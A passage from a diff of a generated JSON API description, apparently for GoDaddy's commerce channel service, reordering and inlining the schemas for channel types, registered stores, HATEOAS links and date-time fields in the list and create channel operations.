"[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Marketplace Channel", + "title": "Marketplace Channel", + "type": "object" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + { + "$id": "https://godaddy.com/schemas/commerce/social-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } - }, - "required": [ - "name" - ] - } - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" - }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "description": "Resource representing the Basic Channel", "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, "type": "string" }, - "title": { - "description": "The link title.", + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", "type": "string" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Social Channel", + "title": "Social Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } - } - }, - "required": [ - "storeId" - ] + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')", + "type": "string" + } }, - "type": "array" + "required": [ + "type" + ], + "title": "Channel", + "type": "object" }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", + "type": "array" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } + "title": "Links" }, - "required": [ - "name" - ] - } - ], + "totalItems": { + "description": "Total number of Channels matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + }, + "totalPages": { + "description": "Total number of pages matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + } + }, + "title": "ChannelList", + "type": "object" + } + } + }, + "scopes": [ + "commerce.channel:read" + ] + }, + { + "operationId": "createChannel", + "method": "POST", + "path": "/channels", + "summary": "Create a new channel", + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Channel", "discriminator": { - "propertyName": "type", "mapping": { + "DEFAULT": "./BasicChannel.yaml", + "MARKETPLACE": "./MarketplaceChannel.yaml", + "MOBILE": "./MobileChannel.yaml", "ONLINE": "./OnlineChannel.yaml", "RETAIL": "./RetailChannel.yaml", - "MOBILE": "./MobileChannel.yaml", - "MARKETPLACE": "./MarketplaceChannel.yaml", - "SOCIAL": "./SocialChannel.yaml", - "DEFAULT": "./BasicChannel.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')" - } + "SOCIAL": "./SocialChannel.yaml" + }, + "propertyName": "type" }, - "required": [ - "type" - ] - } - }, - "responses": { - "201": { - "description": "New resource created successfully", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "type": "object", - "description": "Resource representing the Channel", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/retail-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Channel", - "type": "object", - "description": "Resource representing a Retail Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/retail-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": 